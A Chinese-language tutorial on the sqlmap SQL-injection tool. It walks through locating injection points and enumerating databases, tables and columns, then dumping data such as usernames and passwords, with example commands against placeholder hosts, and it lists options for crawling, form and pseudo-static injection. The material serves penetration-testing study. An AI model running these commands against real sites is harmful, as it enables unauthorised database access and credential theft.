code学习

自动化SQL注入工具——Sqlmap

Sqlmap – 简介

Sqlmap是一个自动化检测和利用SQL注入漏洞的免费开源工具

1、支持对多种数据库进行注入测试,能够自动识别数据库类型并注入

2、支持多种注入技术,并且能够自动探测使用合适的注入技术如:布尔盲注、时间盲注、联合查询注入、报错注入、堆查询注入

3、能够爆破数据库信息,如用户名,密码

4、能够自动识别哈希密码,并且使用密码字典进行破解

SqlMap是渗透测试人员对SQL注入漏洞进行检测的最佳工具

Sqlmap(Kali Linux自带)

在Kali终端 输入

sqlmap

显示如下界面则表示Sqlmap正确安装

自动化SQL注入工具——Sqlmap

SQLMAP注入流程

Sqlmap注入的一般流程

一、判断是否存在注入点

二、查询数据库信息

三、根据数据库爆破数据表

四、根据数据库名和数据表名爆破字段名

五、爆破字段里面的数据

使用Sqlmap爬虫爬取可以注入的网页

例:sqlmap.py -u "http://xxx.com/"  --crawl 2/3……

Sqlmap实战

Sqlmap注入的命令参数

1、判断注入点:sqlmap.py -u url(目标地址)

-u:指定地址

2、爆破数据库名:sqlmap.py -u http://xxx.com/?id=1 --dbs

--dbs:查看所有数据库名

--current-db:查看当前使用的数据库

自动化SQL注入工具——Sqlmap

3、爆破数据表名:sqlmap.py -u http://xxx.com/?id=1 –D库名 –-tables

-D:指定数据库名

--tables:查看指定库下面的所有的表名

自动化SQL注入工具——Sqlmap

4、爆破字段名sqlmap.py -u http://xxx.com/?id=1 -D库名 –T表名 –-columns

-T:指定表名

--columns:查看指定库的表中的所有字段名

自动化SQL注入工具——Sqlmap

5、爆破所有数据sqlmap.py -u http://xxx.com/?id=1 -D库名 –T表名 -C 字段名 –-dump

例:sqlmap.py -u http://xxx.com/?id=1 -D库名 –T表名 -C username,possword –-dump

-C:指定字段名

--dump:根据指定的库、表、字段爆破里面的数据(违法行为,实战中不建议用)

Sqlmap拓展

Sqlmap对伪静态进行注入

使用方式:sqlmap.py -u http://xxx.com/abc/1*.html  –-dbs(*表示指定注入点)

Sqlmap对登陆框(表单)进行注入

使用方式:sqlmap.py -u http://xxx.com/admin/index.php --form(测试表单)

其他命令参数:

--batch:自动选择(默认大写字母)

--flush-session:清除缓存 //简写–zflu

--level:共有五个等级,默认为1,等级越高,测试的内容也越多

--risk:共有四个风险等级,默认是1,等级越高,用来测试的语句也更多

-v:显示详细扫描信息,共有5个等级